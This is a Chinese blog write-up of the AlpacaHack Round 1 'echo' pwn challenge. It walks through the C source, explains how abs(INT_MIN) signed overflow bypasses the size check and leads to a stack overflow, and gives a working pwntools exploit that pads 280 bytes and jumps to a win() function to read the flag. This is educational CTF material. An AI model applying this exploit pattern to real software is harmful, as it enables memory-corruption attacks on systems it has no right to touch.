(alpacahack)AlpacaHack Round 1 (Pwn) echo(Abs有符号整数溢出,栈溢出)
本文最后更新于 8 天前,其中的信息可能已经有所发展或是发生改变。

网址(内容来自互联网,风险自担)

https://alpacahack.com/ctfs/round-1/challenges/echo

题目

做法

下载压缩包,解压

开虚拟机checksec(不知道是哪个文件的进虚拟机拖文件的时候自然就知道了,是echo,熟悉的文件标志)

64位,没开栈保护

这里,我们看到压缩包解压后还有个C源文件,我们点进去看看(可以下vsCode等工具打开)

完整代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

还是先找main函数,在最后,没啥东西,但我们看到它调用了一个echo函数,找到这个函数看看

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

定义了一个size,声明了一个字符数组 buf,数组大小由BUF_SIZE 决定,我们先找这个size看看

void echo() {
  int size;
  char buf[BUF_SIZE];

打印”Size:“,然后让size = get_size(),结合echo函数,都指向get_size,我们找到它看看

  // Input size
  printf("Size: ");
  size = get_size();

定义size = 0,然后读取一个十进制整数,并将其存储到 size 变量中

%d 是格式说明符(用于读取或输出十进制整数))

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

看到这没提到啥函数了,顺势往下看

在第20行我们看到abs,怀疑是否为Abs有符号整数溢出

让用户输入的数变成绝对值,查看是否大于第5行定义的BUF_SIZE(0x100)

转换一下进制,0x100=256(十进制)

若大于,则异常退出(exit(0)进程正常终止,exit(1)进程异常终止)

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

Abs有符号整数溢出

eg.对于32位int(int一般都是32位的)类型,当INT_MIN(某种整数类型所能表示的最小数值)为-2147483648时,它的绝对值会变成2147483648,但是由于int的最大值是2147483647,因此无法表示,发生溢出

然后,我们再看看其他没看到的函数

get_data把size的值放进buf(结合栈保护没打开,我们考虑是否有栈溢出)

  // Input data
  printf("Data: ");
  get_data(buf, size);

发现一个for循环,令i=size

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

然后看到第8行的win函数,我们看到”/bin/cat”和”/flag.txt”,可以当做我们的后门函数,

如果 execve 调用成功,当前进程会开始执行 /bin/cat 程序,并显示 /flag.txt 文件的内容,因此,我们exp最后与靶机交互的命令也要改改

void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

其他就没啥了(这个C源文件跟IDA反编译后内容差不多,主要是找C源文件找到疑点却没有的东西,比如buf,考虑栈溢出)

扔进IDA(64位),找到main,F5反编译

上面分析过,没啥东西,其他函数点进去也没啥东西,我们点进echo函数看看

我们看到了上面分析的get_size和get_data函数

上面分析到get_data将size的值给了buf,然后我们去看buf的栈(可能是我IDA的问题,我点不进去buf,只能根据别的wp得知offset=280,不过也没关系,这里跟最简单的栈溢出题一样,知道思路就可以了)

写exp之前nc一下看看什么时候发送东西造成溢出

exp

#导入pwn模块
from pwn import *

#与靶机进行连接
r = remote("34.170.146.252",11081)

#合适位置进行abs有符号整数溢出
r.sendlineafter(b"Size:",b"-2147483648")

#合适位置发送字节数据和后门函数win
r.sendlineafter(b"Data:",b'A'*280 + p64(0x4011F6))

#打印返回的flag
print(r.recvall())

常规,得出flag——Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}

感谢阅读!如果你觉得这篇文章对你有帮助,欢迎扫码赞赏支持,你的鼓励是我持续创作的动力 ❤️

本文为原创内容,转载请注明出处。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇